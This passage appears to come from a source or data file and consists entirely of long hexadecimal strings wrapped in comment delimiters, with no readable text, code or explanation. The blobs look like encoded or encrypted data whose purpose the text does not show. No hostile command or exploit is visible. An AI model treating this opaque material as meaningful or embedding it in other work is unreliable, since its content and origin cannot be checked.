fb03e09e7c18c180b8f89307ec79ae44e171488388e4fef771e9678e5708f6b2379075b42f432156739abde3765e9a0bc37f195af14861685bda09013913d983ca4c956329316f46e60877c309dabce3846b8c486f36fa6e6ff60ea6a9d15eba895d0a6c1b225bdc5b87c85784908303c273b0a8c9cdb669b2a217dc22b6b59051bf276f13696e522e1032f975ad8512ed38ff6620aea2efbfca6ce9b40d0c301eda4810e2bf1dd357a980cf83bb5f64620ba263dd01afc5a56e514d39edd2f35418c77e5f1d2b67eeab71210911ce01dc5fab14bf99e81acd043f691561c8699ecb837e2b5c0422c6528a612e9c834bdbee0aaa9d13dec00401610a887dbab51e6ae4fa46b110bd1fdc41864e9747ba9cfaedfef218be3d2a8e83daa06e98dd478e280dfa70b2071d4dbf5871734b55e77543f0888a4f5174dac8a1f67374b264c5b569c8914d63e59250a4af459d65e5d4588e81078b408127901ac9d7d8347b09a92f127f15f9f1db994c06ac887d829ba0298db5c0e34e4fa76aaeaec77354b613b96fa570ec5e79ef4dc3708c26f49fa27fb0651ebb34b9724b543a9fcc1a22df76d49f7a13e0401981c7bc58c1eb47c6f58a8a5397908c5e973b4796e6b9fe03c12af454fd23d1f9256b107a8b60f89d26d5eda7dbbc4b3582f15623cadafa5d6e4987376a9bb4761e8c72e2a185fd3ee7ce4214bebdd50172b1faf5eb0bae860596a916665fb4fe1ede5d0b75435488d43c1d2883e6604a2d7c0e3246d8187a08bc1f74a7faaff31912dd9245a7d173ba0e863047dfbd26de765ac30ea6b62338f2bc8d08cb620e0b197bc58f10767e74a5e0e5a2c74aeadb737d8549e60c25c3408c821d8a687b0017bb7b65408fd1d38c96e41af3e60291b882050b7c91148331e15b0bacb943a22106ee36a13aeee2889920ea8665a9019ca863b9beded200b83bb72c243b22c82276c8c90897bb56e2883843fd8f385e39227e9611ffa35df5ad6c7092557fb0f386767079f82aee06cc9d74dbc8f02db48bf962465fb700a0eecc61851b47e8632b83cf9f200f7d97dc852dd6a960cccca14c86a3930b49a85332509f198248cbe806ad338113936f00f42e46bcb1f835cd5f544b123dfad954e74551cacaab6c91be3c81956dd59bd1dc36c83eece79cfd2575de6ee7b53eea702f6e6986da690ee6e8300ef142847820d3f5c7bbc980692e65b3488aa2768a066ee320dca5684072e13b6b917e2f270de5709df58f39587cafaa3bc76dd427d70c13f4a08a3c9ad79219b40f1887793b1c6ed4b89629c07205c00c178091939e31cc042fb5bd43a21deb31f705d9243bfe2bf7d877ed64c8f4eab9df8229bcccd33a680425660edb274170d9ba26734050dbc38c706c2322a27e9607cd17d5032ff2a589eec24253a624c3ceaf0016de9*/
/*fb8ca2711a3208eb83dac33b06f597d01d3913b477e31ee6ae55ec266583e316be4a2615fcc735f22148a0ed927afe11f082ae0223cb54b082d14678731a14399cba566b2a3b8a52b1f723a468d2603a25bfd3acbb2a2707592f6a6f221f672aceafb298b140d962070eb56614ca32c42047efd31cb75a9ba31c593c59ba23358ce15107344f71ca85a43e7b5006c1af3b516c3268d14e2f34162e67b61f45810e4c6f9c90af365be41d35c04034c9627c53637184c73150bd2d5d3b5b65ca880cdb9998f14ed561d45bfa625a866f28c07f33c5aa795adba4456f28544cd3b676e4f623c76ad3adc66e35a07f36d3321a375d034f6cf1e64f672fc0f2c609717f7b9f4aeb29f20f4c05d5e1f4928b1431362ed911254e23334563a20ec12e5fb2360c3cca37c845d7c2ae443fd97fa863744645300729e7cd7d72cdf83a864ab0adbf402e5c9860ab24dd2df6518349e61dc0ce0e9abcdfd684005e9e03f2c2afb99ad4c734f07c67413e86e841516eb665ebc47f5ca20fe1ea8c103402825c192582358f56b70784c9bca7bec7c539ab3c5d5d979b70d3fd5d192c9b085a002343744b4e3ff7b3d6f9c810b5296d23458968b70930141313e5988a15354780e4baa7e66a74e8def130668d77fa57995a5d3d7b27e7fc59df1705d4262e5277ab0f21f0f3d37e59526398245130e13c51fcb79e095faeca93d8dc1b044967999bf092561f9f1a204f63426bf3102495ae71ad2492f5c5f24ab54dd1c91c4ca019795bdcffe695b47cc80ee4b5b9260bdc5a82185152ff8d05e38b4cd90b0227bfb82a8ef3fd2fa3dbe578944f0f47436dabea6a83a3beb16b208858d1dbde92bac2050da1a4bbffd3688c03852c465cae6340366f69d227eeced815eda8e047238e8b877b75c2a1f506c940246694531663e664d689774964f636a28ef9aabe57208c2181fb16cbe63fff28b8a33b1bdb5158bc38c432beeb6c623d77d57c7171809177f6d82078049136712cf5bc08ca0ab6ef25866f781d7f6fdea4f54db12ab9014d8bc0841f3b297f95c27a61d2b45348e43a032d6c5cfb42927055c3c8eff85bd46d8c2b650a871b89e7432819714f9ca9448ec2cd36dd563223201b9de9b3180ea81613519e032efe1c72e990050307ec03f7bbee2d1404818f458ceccd9422735b9374724a8d58a7bd3ad8cf3210b7717b522e3328a8b93cfd8a2c665649008808ca3263ee40d1479482dac63063042874d0cfc60bc71932b2b6f5d47b6fda7602c4841a987597a84851c0f0e04923ede9a95a344e8ab3d6e1f319707e6a77fa2cb01668e27ef76f8d2635b8e233a1c5cb54f417f41937ba10e506282c20438a2f3e33eede22eeda81db82ea789a93a0826bb31a3e1739ee473d7a32fd6ac63579c102cc2b8a79feb29abd7e307e2bdd7e24061a3924eb59eb2fcb30ec7f9a2e2d842d5b5381b1667335d264120620abe3ab315d00dab600c98bedbd35a42f1d1dbc3459876d39857184db5d6382f802edd889011750c2c422b6777605afc99937e0d00792af2151250acfb2ced095439f6668d9020e0d7ed02549d62df9dbeaac0e0e96dad95d77ca23323707188e63ecb178655a59b2519c4923aae7705c2674c1de5e777aa74175223f0d5071975e6494da9fa103e37d24bfff6304c7ad333ad0e988bad90e1205fcf223b834002f3222cd4614fcec3e52cfc34fd44d3b2fed447e424bea90b4cb5c5698ece093ef86e09068942f79912d7b326fe3be9711a4ce60bb96ee906e4f0f99a9c22d5ac5f42b6592374ac8830283210ed261cc32fb36bb13fc7f3e63aa222ba5293fcc8924beccceb6657f7bb0bef02d64ad33f64677bf75e8d88a97b444bcaa125755e2090f71cece2c0eef3ef893cbb4a14b81e44f47a9eb2c10a345f1d9a02b24958d5bc8f2c2ff17e31f424a43701d70684d07a9b1316f93a6c63d05befd0b9b8b542bd13445f1c8c305ebc3c3a774caeebfeddac69ba9b4f1667af5e2dbae4dbbd148df6d5a88da92eaed328875383f51f43b6ca2ecec3a1329d3d5af24ce0f4a7012bc4594bbd0f7b8bd526a2653d24df9ae1a7ca7a1fe5c80adc05f09222f8c130ecaf64c16fa44dc893ca4fef3d6004c124532ae96fd4e1b95b89cbb8f3ee9387ba9de0f8dee754398bc60ad6b54aacda1522884737592c08c670f5c2309770b8d9e5b6bb1791e47a3c8ffa809adb86e7d26f6e8c0580871c4b3b3f056c5e96b1b25f3ffca174c5ee9ce3146cc4a450fe5b0d83601777493b233297179b9f8322eb614d3e4fc2b6a0771968cc796bebd693657d35da823dd03437b20d4d8da4c0ccca9487aac259c419226e9eab132368de347de1cf1bb2a9c88b9e6d702398fe34fa8b7c67e99411732fe837e4097962b3eae8128020584570309b96622fc7187bf970c8228ec56bfe7b4a175217f8118162261a64e7336e8927582c640876e4bcac99b62fe8ada4ed51d1fe1472978cc7c7efbc8d1ab1c6340b39e23a12d972f6b75fe010e7fbb3300a7bb7221432904f3054379519b12f77c09806ddcc65d6176774168af23bbd95055140f030b77373cfd198e383b89342a4f9811d3ff7b46422b3fe0eb9a60bc58c2f9e862fa1afb1243f6388952ab61d4eb3018e3b182a4a1858acf5757e6a177b2f3897256c52439a14c28b028bf117ec89794be268fccf421050acbaa396955ac51b07e4fa9bc935c3b629a70f65a31b9198c4edbccbeb9fdc3ffd3222663121c9d83145557f3ccaba1dca652b832229bde2a6a480557f2fd1935b9e75df702a40fc4b917959bd649fee380db9a29d8c58c*/
/*18cece3fe0735c5151c4c63529029daa2f5277880c81328022bfdafa76c45834ce66af83cd9a3a18aecef746881e2ea0b6ebafabdf58054496e5e90371a95a382755b4dc4bccb0a3951381d1173eb5db1c357a0b200ee765a859b4d33c9bd9125455c3172ee5faa63c8fe949ec9537541ee359c7d1be5789b190171b5562dfa7c20fe8f527147043091c4430cb0a9c4e961d23bcb6539b0003d2c6bb8a119f6a5b2997f40bfedc038abcffa64318c70185fce51df7655abdf8476a386de3412c3948be37a84e7c40856c07c8082fc2bb768b6128896882b2202dd1f721a058019d8bc9cb37ea71a51126e0ab6132eb2a8fc0ba3b4ab0304ca11db79074df931ce3d8afbbe7cd71e50c678dfac3235b1c60c8f3b5cc8d276cf8489e48fe4a070a8947008831e7230d9877f4adf9dba05ae6a48bfdc02e95d6128b06398bbfc11780893d4a18cd470f61efa54f5ad4042c4df52098339f8fc85f062aaba464a06caf72b6bdbff84b4462f3d22f395990899e9dba704dcfbd7f74ecd488098615abd5c84f273a3232f4af9b962f7fe2bd4425cdaf4a57ed1af71a1c62df559a836650ca67e1144f5b868a56602b3044260a647f6297830580154121fd041a7364e0f6f5a66e9b051282b4ccebddc47a33cc55b9559e5d234093f35d7af2439eff9752055260fda28d2ccab3ff1a812280e65e4532473a028307b10dde916327ca297096b9bbfe9830cfb0f6531e8dd010f3fba28ed531cf87d60fc96b0dc1e31c22a6be1b0b173a1d06c9b80e5ffaacc14c0afa2cf847422d7f61477a679b487600d8ce63f0a7554d75099d12d9abff7a6ae0ccc7beeef1c8402a1f42e6cb2149a595b2b89e59a0266fbdbdbee3925ecc0f12d5adf145bc0d3b81937fb9f60d7a4909052397c80b08e79bd97dc601ddc16fae02a4e20cb686deecbb10270cf7175a7cd6345f5885450ae263b35d3fcd1784932b22951b1a015998664022cfbe59af74f53000ffbfb519e6f801d3a1e7182b192ff33ae438aaffc09a63e3e01b5ba84c8d43af27331ccbe6ec5b9005651cc7bc3ed286d57f0c97d7732c1f06717c1a708252c2398b2c681d44df9e5cd01105c8ce997eb2f9d3c5a77abbd9aae73ae66db648ffd11e6b11ca9621778cf77541f550964b97425d1f16b5661dab431f3621672223c13863604aeeaecf12c06dc434d9448d60a56222f747d7554b1a926b4716449e037dac0118b46896d38cce57fecca0e205a67e12e034a352490908585ad8afce884d988a864bb24e7f1ea7a63bc771f47a2a0f97feb8b8c99dbafebb066bf59b08f8941758eba0f3d93855f706ed7b45b1c3eafcc3e8c1e11e92ec41534c844dd561b86fde6964d98b05ce59fb15fa078d882adc74276c0c22f95aa0a8ea31ed58fd30e3478acc1ab2ea606baf4608c46afc1098c5ce7c5baea3ed45e8b33a60f184d8788e7e97631f8fe0fb1c214c863908cbf291a7e7cb141f61685c63f1aacdca9c5c7b4de1a5951a0d2ff5f338bd35f368fa7810816e08a6a0e90d8d7acbd36a21bbace5b1eec2075460f1edc51f8e13003c1f881766fed591920d7eaae453afab67d7d69825db2005d83916e5273f18e8736704532caed14b1ca583c2e35f300bc8347f68b51e3f6d63b74d033367d9be5fa7e66f2b88cf217a82494f2426e9d9f142f7307f854a8276efea31097684a85f003baa8cd156ebe5fb4ea75f5e98354441f9f61ae46d4c3780111c8e6503ac43a82f784013c5ce5486caa25b0230580f433c0e56c9bccb1996c2e34a5c512f34a194154a4528569ced91566806c62344327a4011375c196c41b09e269cca7d539e60a22a08f539021193c15609e6703e22b759a6c2dcc88c13d5975253a07a7bc848e6a045c0f041406ca3a951df57d4e1e3104fec9a49a45f6380e72ba9eefcb283b5351e3add180ca438832e0de4a68d5bc5dc53672c84a22cc9d911d37cd029d63efcd1c5de6f3b4ff4f0dae4df5a5c12a8412d85f3a4937e3e0be2b1f4fc8c7d536172c3ca1e3995e7574d02566efb61b293fa10b3b3b203c60413b8b94e2ed82365e92b407626d457dc6c5733dd487997ccfbbc55065b4514221c41a94f0542521a08616858b865c788b1a2c4d2b27c99f098bb679be6be599a87a20924f28f6b99fe5b89344c724d303aa13edf04b68375d8cce1366dd14892386804e9c8e4e5ee6ed3a2346deabc4fc0b1f39670d72bed3345ab2aba3eeee9005241a8af98fc485e0df16fd6662fbab0662f05315ba8c2376dc830d2a0ce33fea607980e3f5f0fb3a23e9c0030da1217fb7d1d1e211f0ea861d0f2efbaefa84c092529af9f77762ae954c067ce561d216fb45920cee346e954df94de86cae3922087ed589ce1879e6d39a1e33c8421c0b79f48a497e36d51ed2c5b1e8ce72604b0cc82ba2ea0b7f2aea82434dfcad9317fd4681009c4d832b11f9e67ba9de19017b5798fcd87a680113becf90467237ad148417c7a3ea4573e091a01bff2c80e826d5bbe1fc56e757cc7a02457783ee1619bf8a92f054f2ff77fe18086249d6a8015bdcd389fbcba53b10aad8f32eff63732a128b6ff7b0825b927772bc19ba2d5f8d7b5a83d3182fbec2d8bdac3c413b209f36941ea4e574ad7053eb1c1f24ff1bbe3894d11d4ae8ee22312af9b994ddfc4c034b9367d988a6c6f4435650a8afa10f419debde8b97a8b29944724265c31e5f7d6431041d3cd3f34098958d2c9429dcdac7eb6394fa1579e03abae29bb4dd25a447e69efeff6011a10a38cada698702df64ccbb4397207ae9c659f64946bfef17729aadd4fbcde05*/
/*219dc52ba53a9156cd91aa26ffc76c4fabfe8755be4423faead38ad0d1cb6f8321f09907a51571b78517ec2e72bb75b1ff1ca4a22e1c87eb3de786055fe2602dcf366119c075782f7cf4a944196cd3dfa721c2257c3fcdd72b23523179f76b24f531a5da3f006bdae86e8cf7c76abd54a7b010b56f08865e12dcb909a76680f67ccbc7789027b2ff156e63f50914ef3863e1d3f81745e09b0c7a481b78bdd061e20e2e2a6523bafaf6e1f882688bf2c0308f1957101017fcfef3a31c090c8652a85df4a814c60b599668a41dec4ca5bba52cda54d7538252472b69f586f6cf25e3df689e88c0e123401f2fd389e4b0764c6cba314f9003a0530b1aa4845651121a1fbb53eb4a39b11f6a2e412caf214a8cd1884a69ec313224b3a19b53ee53fd5ca062cd71ca5a2b5758fa60d15c5f76a211ebe27d9ec63f8ac601cc357fdb6afa1681ae6eea2a75f501e1d31af32f5145714c2cc5f1a510bf80992d23bedfbe69003be50cebff50508e04e1d25878d589332098324a1e468b558018288110833bc82adf800b5686ff7755efcd63a8859bde1880e0afc7e46a45efadefb43b4d74c960b18dae94a33614b8c5d37ef524c8d263a6a6919c673187bb3e9c4fa9738ca3fe7f75afeec78ef6709625ae115b32e3817269662ce9e8cb0bf7f178ac693517137f6a6e1f5de3f4ca2e5d9e64d1a05dcb5de4b32cbc6cdf65f117ee2cb31e1b3fd192ea23aa6f21b895f0cb076755f22874e1824d554a1116e68d8982983f8dc0f94e6c1ac4260cd6548d76c3cde3eb844d581b155710a81b3622f71ac1444ff0e166f40c2a9b1c7a2a4c56c04b099184532d9c257b26da8174b16033f670f57ffd30627be67aa860cc68579337af87d0917adff904def5b6437962e9840e27b22847d43b82d74e5929a838fdb1b37085e51ad3efaf96e2fbb05d7048001a498f67c86a247883cb95ec0b64dead81f2776f93ae7b493c006fbd7dcb26e0d20ac24220e9fb7ed644e8da865bc92d325820be470fa3cda5a46dc60cf86cebef2b8ef9e4b3def3e9b7fef30886a2d703cf208b3ea0b41bc3482049dd92b75c04a616b43756d95f73523807f35af75d976bc60acd56917f222410f70cd7615568fbe0d1af83018426e3edd2e8b3abffbe53b06cf511497cf53253da4348d94889a9beb58fd8f9cd87f447ad4e6f6d32db242a98f4e07bb78e191d3cd2b90bd9928c01246063adedcff1068af26a9d86cde25ebaa23613a2a4749baceedd26189488acb3258c1e44a9af9f7fc37584cf577474297c51c8a4d1e698e4656fbc3c59e3ab848063fa9a6fab0c4c6d3ee611dd001657cda6dbcf41924f615abea40074d8dfffbc23e4d4d486204f3a4791c60078d2998cd738a1853ed2cee36c8583f041b43375f8a473077a40c6ad0a6176bfee9f9f5e9b5062423d89c64afd9b49b7edc54dccc547565373ac4e6d207aebda28a3979f7eff281d682e764391d7b6432ec9d2418f46fd1a2d6c7474516eabd1409a03013973327432c2397efeb6a779b6098c50f331d485e41904cf496cd3fb22d8973c04d0073df2183323d8ed25fa1ca0bcc4b4d0c709bf4c5087268e94df437d58916abdb134f87007df9914ab51565eaa6535a62b1274f24f681a773bf3bfe75d49dbbd89fa024037d0f5f2255aa7b91e7e20b978fbd9878e12c3a3482a44e1db72eefe673b3d8dd4f9965612bf8969adf228b7798395c9958d7021b9fe9a7103e024587ee7cfe59731afb3c4372500cae20480142f5e1dd410af7b9b3981353d93c8a74328f4ab64308942356aa62cbd0daf624aea1fc6cdbf567eeda16b2dbdb2efe6b4f18e6ad381d2c9485ec25d57d3a82a43f0271958907fd0cad3898657c8432eb7a75fde925ac563674e9ed894fc7ad5770da80d7704ed0b87f04e97d85c64718c667c3b88ba7d7a4168e2153c1a74bf78abe2f8e30ec9394fcf98cb696bea21aac935351550bdb71cf7f9c23e52f47a21364df7f9f107d4c9c91bad230710801b825fed6e0c7d0d8cf663a412c2412b0dc5d44f5567d0acda88f7fcdfbf3e67d2c770f1aa8f9e98bea4691131c9a379b872783530bce88533d9bb6bb40984558f0ebe1f8304eed27fad650424a363998e0679254e7d59569d5eb5e9a8bb0a6213dbaba40b630136e3a1bffab044f3b8eaa19b61f5292dfdad6bafdd44457a0d2aeff29f2bc9ec8ecb1816186803908cb7bd2a7af503a0574875443b6b259fc155c8a17dfc02b2e4bf1b875cbb7f033678d81843d273ddd7855bf121c64a551809f3b2e2eef259c630c542621385551f4a4915f655015c34748551f6c08507fc74979199425bbe5f16b073e47f509631e6da7e3fc5db82b4f69e3752f5c01c273503dd5846d86352f5dd3687b004ac5bac97de4544ae5decaccd84e0fffe7f2d02b7f2c3fd21e7973986ccdc1b8a6d09205b13707e1500d5aab8502283f718deec6b1576a543c729f0b890cddb69901333613e4f017f0498cdbe3f1eea882b44f95c131c53fdcd469fcc1a9651bf423f1da973f95b391daf54d849266afadf14f5ebb284fd1b48b4f5bf9cead6327bf2ec1ed78652545fe62ec5467c5f330da20b24d5901d04245f165374f6a1e43730ca304de92a583f578eae9457bc9e7702c25b93195fedb1e799cfcce0e91c11abab2c862d1a97a98cb9d893609d13a1492a2737bd239a1ac4253e35ed8a26bf40511f7f69255c6fa30ecde375323b8ccf00acd8b6db28e7ada9916cb59c2c70591f581a2032268e445571cfedb506d6aa2d2e3e13e7588de04dffde407de4514f9a68800bd7731dc5d3*/
/*0fb0f1f6a4fe848700855243c5afa92995e0e816563549800e20e05c42b815422fa197ba0378c234f1f87deb6ffc299274bda91947b1199d2e3c02def3030f5d2301cee1b6df980b3bcbc38c801915145306698ebf4b917a454b789710ca17e06f2d3170ec66d640453d169afb733d2b17ebd19d83f14442f239ce8cbfe2a99c1877caf540d20af1e0ef8fe9b1f7870853c46ede09c94842e5e24114a92ecd9e65dd98a5cfc6c8821cdce93920f1853c7b0dd4af5db8bbc219c7851066495ae90b48c4131b4393917c4be508c735235ab25c9307fa31cf45dd3e158bb2cc86d36635bb941f9edc847e183f402277133a32c3bb2c4ff47b46c490719aed0d13f71e9ff6f94acbaa21e9145d414dc3d83f88b11342cfe0b88b05a65792866c1bb1870244da07d83485561609f61c7f5e51f27ecd4a4e8b7c36d3e6b08208d689dfdb6cd9fb37079b4f07840186db2be27b3fc4db950cacf697e7d2f620af64105bbdc33d694b469bee6f2e4c7142cfe5eb1eb68f37081a43a233c50d479470d7ca6901e8d87f9feacc11e0b2afc3f2a3504617d9993b26b5bf13a549ba164b899d2c1137ee739212d02decda5dcbc4c14033cafd95ee6863cc1475921f21f5520e62b6b27a3c24ecf98140dd07a3a5c3e48443fc626d4d20c80ebaef988fd9a84f4f9289d6b02b23e0f7d5c0105d09816d6aeff6d525d1d11610b7575fdf0f669d969a9cab65d29bebadc02d247d008178c42ca37d99df41bb69188ede64cb19b090191a96d507204f1c238e1396fc2b299ead506a9bd6ba0a859a92b83158344adfbed6721fef679768da4af81c594d7fca5f263353f2af1602a9db1d7050764c712a01e55807bd9397f73f02e09adb148ab311e271b5c7579ae0c13b9672f8758ee9b1149bd759156b4634d1be21df552a91cb99bcf76e70caddbba300e0d3ac2d50fa0100c50117706d32ef2840ee2169e209a27dc4968a380ff148029bf551d7cd0316cea40bc01eb961e810c56599da63abf3d63c16100bb9cb6e61c0f187c576bee8c64d99b6132c3fce2fc2e0228a5bc5fc594abbfc01559b67b193a519a05ec0b774c3843a1201d6d9979ff2cb352b01c922726ef4efad3578f23dd1ab69ed83764b469ab7c47c13bebd3591696bc47abaadb0cf0d0e9a09b6176613e2344f189f57340080583fb38eebdbe9b453b429896459647733868a37eeb3acef96c928f9d8017d62b27545aefda88cdf3bab874f1f820579fb2981125a9d97627275b5f8da93e106f6dd6384bcad7ae889c28c9751b851b9f4c4397060b149b1c508cefc6ccb1c89b2b3c1415eac29502264cc21aec83d8462e265c8def2cdbe894e178e2835cc56dc6ffe5083e1fd2e155ff60671be3c5019fe62848beb93b2c2e6a1c399d5505bee8f7b958c88ea865a4f8e336067c07bcf25e0b36b6d3c29ec65960a41ce68d2131707757953ea39b833a278577f2ebf5649181e50f7535d71c7a8b945ad164776d4a4ea046105e6d6c0a23bd771f6a102a3cfa92e39c611c325dd4f29db038301e9a61c31221f2682620b7bb51e0327f4848ceb96caecc8f9a2d8d66287c1f876c57fc961008d30f289dccb465cf3ac312eb7de4c5348d23a9cd412a9d3218f46a0c512f3b9e6da1d7bc3bbc3f80e6fa1e1fc9df07ea0c07f8d898113e60889b99f7a97443d6c3ce3d74c5b7167e1056e5d01c207849a616d82b252994f0f23e07faec67d07c84c2eecc425b40ce4492c42502c928f44b79ae76331c2d08eb2097d3f98640c54a31c46ad5ae9324e77723964eb211a77f34c9e82c0f371cdf9ad75340d3f5e756ade23394de74f9cee88427f0397781a12234800f8169812977acaba6d8e3fdb78d2ed672c22039357e3871d09553bde819b73c576024c16e5975d3bcbddca65d1ecc95f6359dfb8216a6d6d1bdda7faf6e1a9d656e7d504b0b2a38a330158ec77dd187656a73b03862c51f3b118a05ef279d423ff43242610a9fcbb666c4bcd77ac0ff3a72da067e2cc814e3be04476e7011efd9fe6ffdb0629957606ecf27a80f605d1b528ef13f44962bcc1a60831a2adfe7ffd9c3d66068613f775bf156dd0a65e65fc36682889c143ddab4994458d8dde9934d57beebbab030ee8a2f9376bbe4e68ec5d83870d5df1dc7bc5cb86b95da398f5dbbea688c0135553ad3420eaff5faf8e882592a8b0edc6c27900d18dd2726f069198e7388b475da41f7b6a767097de20f2ce0502d105a51d3a0e348f4a815235807265e5b5038cd266b0e75668650840ffbaace5608cc6c209828f9bc8a312a666c8cb17747d1fcc6f6361995c36fc22adee4282519904a71ee0602aee414e672556699f955c8a4b05de910ce569f8d49225bd40db606607c7ba137f515d66933abcc905ade709f9f24cf7d26f7217ec9168e3212c37866b4bb4491bfa314cce03059540c6407a18bef6161515180582e11bd603bdae8a9ec3b32a6f43c45182f9923ed8eeb4391c6869dc7e523f96b29682cd26161bcf6846e6b09491c20d7d7eb058f509f4e62c128af702eee05f9013dc3e5f89a859d562797bcd006359a6fc0a50846f2b9229d0f7b571a1a6c9bebde73677879550d037f0382ea74f97fe4b86b7c5560d5e722db2377fc4d7aeed11364c50e1c5f9301dd2b7276f6d5c3e6985407f99c5010e7605838cb2b5f11ca43cc5b446aac554e3e7b4ebd5f0c06d8ee85e4fac50ae16bf9f9fab5cb75f504f68544bdbf02b9aaed632de0a74a020617ea653383316a7c7bbd95f682703b0a9edd7696772875f297cef6c749c3b9428c60b789405d63865582edd*/
/*a2519c65ba44bc1eedb54e234257ed0c251bb56c7bb7ba4ccc1547bd9cca97cc5d29ee1c5a7480cb360f1976888eff804276cb520fd741d14c12f147804626cf17a04ab6401bbd65e8887bd661ccb26e41bdd822be9f857b58ddb0df6045af3eb6d717160989c8df643a287af400e9872e97d91b24114c4b82c906e85d408e4fcc575c9efa2646d2127d0f6dbe4b6438bb05a1d9f14d64e60bb61869285d172a5cfad60fd6627df649b9de346f7fb6ea8e6964f1a871c4b0d4e0d092d91eb61b994b2c881066f15dea012969e9f325210b8e1991e4ff1dccd15c13f92a7f110fca6a5e129db2895772ba33b886f774be1e69683d2a5e1f6efe2781d1723a28f523dbe2d7ab1b5efb2ce87e49b6f9c57c3627eebc82e4759e8162a184e9d8109e4e7034dc8bdfaa4ed9e87405d0144b3cbfe283c65af07d12068e449a698956ac93fead2b54215c043af164560822e4e1f878a69c1468dd1ce194785c1e49f861fc3b29c0a69a9970d76268dbd9a0646af5469da0e1185efac0044e06a2e25d3afae411347dd405d373da79b9531f96c80a19b4214581a8661b513a7b4fb7902b673e561019549e68b21e04fe7243a1b58a2ea4e2e7d933b781edf9255b49ebfb74e1feb7a2ed889bbbca4696afa609806d03eb4c17caec41d9aa9c5272fb5dd2707ddbf7d590a50988dac6170358ded740e4e7bacf042de0a484daa20fc0f8bf2b208f27f066463e05a376862941e3cd69ec7dbdc5494a4a1acf02f01ee961d7df4223ec864dd24cb7490923449979b3dd4b4c0bccd4c84d891ced930ffaa9ee304fc2e707f3891749e533e52d095b2612989a82ad52ae104d1faa78a86fb7c2d6ee9052dc649fe55f299f09062c3e6ffc765e00e385229e4d330415e594d9c9d29d300451fe3afe796b3275c08b1bc594ac8ebfd0ce475eecb970d0518e109bbb1c2e7f8f6ea221dbaecfe25713cb36b42e1d69bf0ff0aaf32290ba1ccac20db646ef740fb480013db187c4cda2795c98a699725df05f4bd1846a7ab7a9f54c44a6575349add15c6151fc136c751bd788ade3d547e7c0286a8af0c0206be8b2297272b41370b8280263d53a3b5b264d6a6dcb5beca0774da0a7d99fe0964a0ba3aee529e77094883baeb4319b5e3902ffa61d7f2988e058a479b0f93503a5b31eeae4ecb172612e9e440df2119ce6f39e06e2c62cb0d76f02e681d997e0a09599e0359d643c74e8a091050fc37df0f2ba81fb2cae1169e7128bc61e6cea2fcee72fc3e98257e158f9f9d20c5e4d631a0c5e12b96ca4b75d91e4d95611f6c48695bd867034641013c19f0edabc4272549cf36784fdb63206f3507942097d140278334ba862d9e4a32d2dc46ea297fe4e94ce5adbdaddf4eb3672a7bd6cd5a9abb688e3234fedd832be142a8dc06ddbfb83ae2e9b5f8a86f5c6228e35312d35e6726b735f7d3edb3252ba19ac5ff1b8cae106984ad43b001f10bd17a9d91e99546c590b8151e6df5b5acbfc3ed2a0edd50021825002caffe2044bf0383d773b7b7f3e1992f8a163a25d77e631ff8ec9373f11fd0dfdde7d24464434a5f12efded1466de1a1e19fa04e96fc5c9ca5c5af013d881a7aaaf11c282d456a91f281a763d9330226a325eb4aef8b6f18c852137f05aa3efdbc303501f2cd3bd1d9dd9920a19083b4c60b3e80b3ef371663c8e26f8206b11ebba25f372596a4d7945992a17e8533225715f8e49bec1e1f7d58e31894d752927ec09a7c74e17d6c6ddc6542baea2f04dd697a13920a6abd9bf02ac055a2f356eecc15521c2068766f8e2652492ddb8663ad718bc7f63c02b42042e76492d966ca5446b237e9487c4f43d466d72486449da252addba0e5c07664644325619bbdc9915e8762e8cfb1d63abd75a6af08f90e961d9aebbeaeb4a1378c7725f4969f1c916efa05c949b83b1511d7a38dff4274577e4e39c73ed0d41436b22035125d4753b320d268be09c2aec2973d101a634cec2bf82ead023da180cf2e4ca661a3528087939515a12fedf0f4a7a4219f8239c5aeba7b6f481e3a6f5d25528191fc2aee2498e721bf948b246528aadd0db30c1d1c565a922079bf0ee797c9a84144bc665dd9e8665acf9a4b5b1c1c08ae3992a853d3149ec4347656557820115310ac49e1c6216fc9b39a8f3b05739b6e2f49ca6982990a1a49313e88fc3f12864fd681073cf740f1b03f40c0588c5930f6c8d2154038a4ec9206c30e9031e7160d80fdf75ed3f552006d1ec5bc7afe64ebcc48553a689eb67012e87a13a689b98a260d751e517a14caa15bb121c6f7b8c5f4d9d20906e5d75f6c8e0ce279bcc190f29760e45b45c86d2013a320a727704a27a8f034b17ccbbf6fee9bc312373d5c410cf3c0e6e0d9ba111d41f705c4d6020e4951e7541aaf36455631f3ec615c444081e7015f95448d6d1b3c3b308453a84cdd9c2f0d187de3d59790d6bddc1ecc6c82a8100dd9a5a30fe2221bb7bc35b04323086e2b5871431d9b9795a9472e2501bda740398e661b595cfc22e152160f9c5d20fcc6586d8bfc36fcd893725f90303a61dd39e5515eb32bb54f253ddedab8448db18ab766c629aba80d1e75c3ec58a5fb4541162f60a5722fb92e548602205e58e6732ec8b5f23f5c9c1d4a7392ff63288f2da453b0a995820424f8f4003dee1766645465faf0f8e8312d39074f4b00d4a4b1f829ab43ad37a95ee8eb50ca548c011dd7d59d8568e504c2470ac8bf73191b5a9fec101ea670005e0290d2f4717289b98e0ecf98242d5b6eb73079c69ffc95b6c375c20711896c11d797d8757df875af055e30174f6ed*/
/*550dd9524ab57df2795471b1c32fe3c6dd2b27b3cf57c91fff18112145c52df29804e060476489db5a36c096e871e965d4d98469ef2fcebd57dcc8515196b7538de3bd977d0771d7d2860a8caf317d8d57e471a8d86e10c2e370c3c0f6e2b933a5415ce22b36db15b22878509be6488eed4cf2c2f56f6afc6c9bb563ecdc9eb5cc03cf66fb1e8b063922879304b2efe98ad7b42ea32119ad1fa86514fbaaa8a70ead7afea44c97227510735bd045a9825b7f83cbdd306fb03db409f7ae6bbee7a8ba8df229a9f525ec87794244542859e7943cc13a66ece7e9bdd2d1d3e6de04f86fc2a1039514373e9b1596a944462082dc3f41a272842f035a0db752e46bc8840efab20a9dd3a7cd7e1af0e9cd2a00ae77865f0ef53002c05b3ca668051c8e199cdd36befd59bcd2f3c16258affa9834713e4b9d79156981195eba1003c0a49e283ea6f1705268b9901e73785e12817083c1a6b470d6afcc4d7b6058aa823a792839637c8070a9466eded016ce9d5d8ec0c4656eb27d14129d7eefe7552582ecba53ab8da0a441aac62152290b14d59d46f75ce2aa63e42246787e9e3cba32f236b087b89e7ce3346c44290be4ceafaa80a809bc9cd3362f851a792aa2d6739d416dd5a0ac889542a1b7c20ae2d0f3aa8e9c64489766faa966b74cfeb166848495611d3525a4b7946c4fe18795a4bfaf82abdb6c69dbbc19149a429c35618c6a9784a655f41871